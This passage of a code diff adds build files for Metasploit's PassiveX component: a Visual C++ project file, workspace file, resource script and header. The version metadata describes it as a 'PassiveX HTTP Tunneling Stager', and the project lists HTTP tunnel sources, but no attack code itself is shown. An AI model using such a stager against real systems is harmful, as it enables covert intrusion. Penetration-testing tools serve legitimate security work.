!MESSAGE "passivex - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "passivex - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe
!IF "$(CFG)" == "passivex - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Release"
# PROP Intermediate_Dir "Release"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NPXDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "NDEBUG"
# ADD RSC /l 0x409 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 wininet.lib ws2_32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
!ELSEIF "$(CFG)" == "passivex - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "Debug"
# PROP Intermediate_Dir "Debug"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /GZ /c
# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "_DEBUG"
# ADD RSC /l 0x409 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
# ADD LINK32 wininet.lib ws2_32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
!ENDIF
# Begin Target
# Name "passivex - Win32 Release"
# Name "passivex - Win32 Debug"
# Begin Group "Source Files"
# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Group "Tunnel"
# PROP Default_Filter ""
# Begin Source File
SOURCE=.\HttpTunnel.cpp
# End Source File
# Begin Source File
SOURCE=.\HttpTunnel.h
# End Source File
# End Group
# Begin Source File
SOURCE=.\CPassiveX.cpp
# End Source File
# Begin Source File
SOURCE=.\PassiveX.cpp
# End Source File
# Begin Source File
SOURCE=.\passivex.def
# End Source File
# Begin Source File
SOURCE=.\PassiveX.idl
!IF "$(CFG)" == "passivex - Win32 Release"
# SUBTRACT MTL /mktyplib203
!ELSEIF "$(CFG)" == "passivex - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=.\passivex.rc
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File
SOURCE=.\CPassiveX.h
# End Source File
# Begin Source File
SOURCE=.\PassiveX.h
# End Source File
# Begin Source File
SOURCE=.\PassiveXLib.h
# End Source File
# Begin Source File
SOURCE=.\resource.h
# End Source File
# End Group
# Begin Group "Resource Files"
# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# Begin Source File
SOURCE=.\PassiveX.bin
# End Source File
# Begin Source File
SOURCE=.\Release\PassiveX.tlb
# End Source File
# End Group
# End Target
# End Project

29
external/source/passivex/passivex.dsw vendored Normal file
View File

@ -0,0 +1,29 @@
Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
###############################################################################
Project: "passivex"=.\passivex.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Global:
Package=<5>
{{{
}}}
Package=<3>
{{{
}}}
###############################################################################

123
external/source/passivex/passivex.rc vendored Normal file
View File

@ -0,0 +1,123 @@
//Microsoft Developer Studio generated resource script.
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// English (U.S.) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
#ifdef _WIN32
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
#pragma code_page(1252)
#endif //_WIN32
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE DISCARDABLE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE DISCARDABLE
BEGIN
"#include ""afxres.h""\r\n"
"\0"
END
3 TEXTINCLUDE DISCARDABLE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TYPELIB
//
1 TYPELIB DISCARDABLE "Release\\PassiveX.tlb"
/////////////////////////////////////////////////////////////////////////////
//
// REGISTRY
//
IDR_PASSIVEX REGISTRY DISCARDABLE "PassiveX.bin"
#ifndef _MAC
/////////////////////////////////////////////////////////////////////////////
//
// Version
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,0
PRODUCTVERSION 1,0,0,0
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
FILEFLAGS 0x1L
#else
FILEFLAGS 0x0L
#endif
FILEOS 0x40004L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904b0"
BEGIN
VALUE "Comments", "\0"
VALUE "CompanyName", "Metasploit\0"
VALUE "FileDescription", "PassiveX HTTP Tunneling Stager\0"
VALUE "FileVersion", "1, 0, 0, 0\0"
VALUE "InternalName", "PassiveX\0"
VALUE "LegalCopyright", "Copyright © 2005 Metasploit\0"
VALUE "LegalTrademarks", "\0"
VALUE "OriginalFilename", "PassiveX.dll\0"
VALUE "PrivateBuild", "\0"
VALUE "ProductName", "Metasploit\0"
VALUE "ProductVersion", "1, 0, 0, 0\0"
VALUE "SpecialBuild", "\0"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x409, 1200
END
END
#endif // !_MAC
#endif // English (U.S.) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

16
external/source/passivex/resource.h vendored Normal file
View File

@ -0,0 +1,16 @@
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by passivex.rc
//
#define IDR_PASSIVEX 104
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 105
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1000
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif